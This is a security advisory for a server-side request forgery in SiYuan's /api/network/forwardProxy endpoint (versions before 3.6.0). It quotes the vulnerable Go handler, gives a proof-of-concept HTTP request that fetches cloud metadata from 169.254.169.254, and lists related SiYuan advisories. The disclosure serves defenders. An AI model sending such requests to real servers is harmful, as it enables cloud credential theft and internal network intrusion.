Vulnerability GHSA-56cv-c5p2-j2wg
High Risk
HIGH RISK
CVSS Score: 8.3
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
7 months ago
March 12, 2026 at 02:23 PM UTC
SiYuan has a Full-Read SSRF via /api/network/forwardProxy
<3.6.0
<3.6.0
Summary
SiYuan has a Full-Read SSRF via /api/network/forwardProxy
Details
Summary
The /api/network/forwardProxy endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.
Affected Code
File: /kernel/api/network.go (Lines 153-317)
func forwardProxy(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok {
return
}
destURL := arg["url"].(string)
// VULNERABILITY: Only validates URL format, not destination
if _, e := url.ParseRequestURI(destURL); nil != e {
ret.Code = -1
ret.Msg = "invalid [url]"
return
}
// ... HTTP request is made to user-controlled URL ...
resp, err := request.Send(method, destURL)
// Full response body is returned to the user
bodyData, err := io.ReadAll(resp.Body)
// ...
ret.Data = data // Contains full response body
}
PoC
- First, authenticate with your access auth code and copy the authenticated cookie.
- Now use the request below for SSRF to Access Cloud Metadata.
POST /api/network/forwardProxy HTTP/1.1
Host: <HOST>
Cookie: siyuan=<COOKIE>
Content-Length: 102
{"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}'
Screenshot 2026-03-11 at 1 23 36 AM
Impact
- Internal Network Reconnaissance: Attackers can scan internal services
- Cloud Credential Theft: Potential access to cloud metadata and IAM credentials
- Data Exfiltration: Server can be used as a proxy to access internal resources
- Firewall Bypass: Requests originate from trusted internal IP
Related Vulnerabilities
Other vulnerabilities affecting the same packages
Unknown
9 hours ago
SiYuan: MCP file tool's blocklist is incomplete relative to the HTTP file API it claims to align with, exposing publish-mode passwords and other sensitive workspace files in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260808051406-3542530c505f GO-2026-6863
<0.0.0-20260808051406-3542530c505f GO-2026-6863
Unknown
9 hours ago
SiYuan: authFilePublishAccess distinguishes hidden and forbidden documents from public and nonexistent ones, and issues a publish-auth cookie for documents it reports as forbidden in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260731093152-c7522b8db586 GO-2026-6828
<0.0.0-20260731093152-c7522b8db586 GO-2026-6828
Unknown
9 hours ago
SiYuan: A parser differential between the WebSocket keepalive exemption and the session quarantine allows unauthenticated access to the broadcast event stream in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260731131820-67bc300b6ea6 GO-2026-6831
<0.0.0-20260731131820-67bc300b6ea6 GO-2026-6831
Unknown
9 hours ago
SiYuan: The publish filter for database backlinks consults the forbidden list instead of the visibility list, disclosing hidden-tier documents to anonymous readers in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260730150429-5b42614311b0 GO-2026-6833
<0.0.0-20260730150429-5b42614311b0 GO-2026-6833
Unknown
9 hours ago
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin in github.com/siyuan-note/siyuan/kernel
<0.0.0-20260808010544-26ccb40d390e GO-2026-6834
<0.0.0-20260808010544-26ccb40d390e GO-2026-6834
Impacted packages
Timeline
Published
7 months ago
March 12, 2026 at 02:23 PM UTC
Last Modified
10 hours ago
November 05, 2026 at 09:45 PM UTC